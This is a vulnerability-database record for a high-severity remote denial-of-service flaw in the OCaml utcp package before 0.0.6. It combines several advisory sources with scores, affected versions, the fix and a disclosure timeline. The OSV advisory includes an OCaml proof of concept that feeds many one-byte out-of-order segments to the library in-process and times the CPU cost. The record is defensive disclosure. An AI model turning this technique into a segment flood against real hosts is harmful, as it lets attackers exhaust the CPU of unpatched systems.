{"id":"CVE-2026-87734","aliases":["EUVD-2026-74620","GHSA-798p-53r8-rvx4","OSEC-2026-11"],"status":"published","title":"An issue was discovered in the utcp package before 0.0.6 for OCaml. Out-of-order segment...","description":"An issue was discovered in the utcp package before 0.0.6 for OCaml. Out-of-order segment reassembly allows remote denial of service.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00507,"percentile":0.4364,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-923"],"published":"2026-07-27T19:30:00Z","modified":"2026-11-06T13:45:05Z","fixes":[{"ecosystem":"opam","package":"utcp","fixed_in":["0.0.6"],"sources":["osv"]}],"affected":[{"source":"osv","ecosystem":"opam","package":"utcp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.6"}]}],"versions":["0.0.1","0.0.2","0.0.3","0.0.4","0.0.5"]}],"products":[{"vendor":"ocaml","product":"utcp"}],"references":[{"url":"https://osv.dev/vulnerability/OSEC-2026-11","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87734"},{"url":"https://github.com/advisories/GHSA-798p-53r8-rvx4"}],"sources":{"cve":[{"id":"CVE-2026-87734","description":"An issue was discovered in the utcp package before 0.0.6 for OCaml. Out-of-order segment reassembly allows remote denial of service.","status":"published","published":"2026-09-09T04:13:55.166Z","modified":"2026-09-14T12:57:32.352Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-923"],"updated_at":"2026-11-02T13:37:47.463822Z"}],"euvd":[{"id":"EUVD-2026-74620","description":"An issue was discovered in the utcp package before 0.0.6 for OCaml. Out-of-order segment reassembly allows remote denial of service.","status":"published","published":"2026-09-09T04:13:55Z","modified":"2026-09-14T12:57:32Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T17:28:20.757989Z"}],"ghsa":[{"id":"GHSA-798p-53r8-rvx4","title":"An issue was discovered in the utcp package before 0.0.6 for OCaml. Out-of-order segment...","description":"An issue was discovered in the utcp package before 0.0.6 for OCaml. Out-of-order segment reassembly allows remote denial of service.","status":"published","published":"2026-09-09T06:31:39Z","modified":"2026-09-09T06:31:40Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-923"],"updated_at":"2026-11-02T15:11:37.523128Z"}],"nvd":[{"id":"CVE-2026-87734","description":"An issue was discovered in the utcp package before 0.0.6 for OCaml. Out-of-order segment reassembly allows remote denial of service.","status":"published","published":"2026-09-09T05:18:20.577Z","modified":"2026-09-14T13:19:00.02Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-923"],"updated_at":"2026-11-02T14:12:45.93749Z"}],"osv":[{"id":"OSEC-2026-11","title":"Out of order segment reassembly allows remote denial of service","description":"A remote peer that completes a normal TCP handshake can send a stream of small out-of-order segments that never fill the gap at rcv_nxt. utcp keeps one reassembly entry per segment (bounded per connection only by the receive window, about 65000 one-byte entries) and re-folds the whole queue on every segment, so per-packet cost is huge.\n\nThis has SegmentSmack shape (CVE-2018-5390): a cheap packet stream imposes disproportionate CPU on the receiver, and there is no cap on the number of such connections. \n\n## Solution\n\nInstead of a flat list, a red-black binary tree is used for the reassembly queue.\n\n## Reproduction\n\n```OCaml\nlet () = Mirage_crypto_rng_unix.use_default ()\n\nlet server_ip = Ipaddr.(V4 (V4.of_string_exn \"10.0.0.1\"))\nlet client_ip = Ipaddr.(V4 (V4.of_string_exn \"10.0.0.2\"))\nlet now = Mtime.of_uint64_ns 0L\nlet to_wire seg = Utcp.Segment.encode_and_checksum now ~src:client_ip ~dst:server_ip seg\n\nlet seg ~seq ?ack ?flag ?(payload = []) ?(payload_len = 0) () =\n  { Utcp.Segment.src_port = 12345; dst_port = 80; seq; ack; flag;\n    push = false; window = 65535; options = []; payload; payload_len }\n\nlet feed st s = Utcp.handle_buf st now ~src:client_ip ~dst:server_ip (to_wire s)\n\n(* establish a connection, then feed [n] out-of-order segments that never fill\n   the gap at rcv_nxt; return the CPU time spent *)\nlet cost n =\n  let st = Utcp.start_listen (Utcp.empty Fun.id \"victim\") 80 in\n  let iss = Utcp.Sequence.of_int32 1000l in\n  let st, _, outs = feed st (seg ~seq:iss ~flag:`Syn ()) in\n  let server_iss = (match outs with [ (_, _, s) ] -\u003e s.Utcp.Segment.seq | _ -\u003e assert false) in\n  let st, _, _ = feed st (seg ~seq:(Utcp.Sequence.incr iss) ~ack:(Utcp.Sequence.incr server_iss) ()) in\n  let rcv_nxt = Utcp.Sequence.incr iss and ack = Utcp.Sequence.incr server_iss in\n  let st = ref st in\n  let t0 = Sys.time () in\n  for i = 0 to n - 1 do\n    let s = seg ~seq:(Utcp.Sequence.addi rcv_nxt ((2 * i) + 2)) ~ack ~payload:[ \"X\" ] ~payload_len:1 () in\n    let st', _, _ = feed !st s in\n    st := st'\n  done;\n  Sys.time () -. t0\n\nlet () =\n  let t1 = cost 2000 and t2 = cost 4000 and t3 = cost 8000 in\n  Printf.printf \"2000 one-byte out-of-order segments: %.3fs\\n\" t1;\n  Printf.printf \"4000 one-byte out-of-order segments: %.3fs (%.1fx)\\n\" t2 (t2 /. t1);\n  Printf.printf \"8000 one-byte out-of-order segments: %.3fs (%.1fx)\\n\" t3 (t3 /. t2)\n```\n\n## Timeline\n\n- June 25th 2026: report to ocaml/security-advisories\n- June 29th: acknowledgement of issue with several questions for the reporter\n- July 6th: answers from reporter, including a patch\n- July 26th: patch developed by library author\n- July 27th: release of utcp 0.0.6 and security advisory","status":"published","published":"2026-07-27T19:30:00Z","modified":"2026-11-06T13:45:05.4736681Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-06T14:15:34.804415Z"}]}}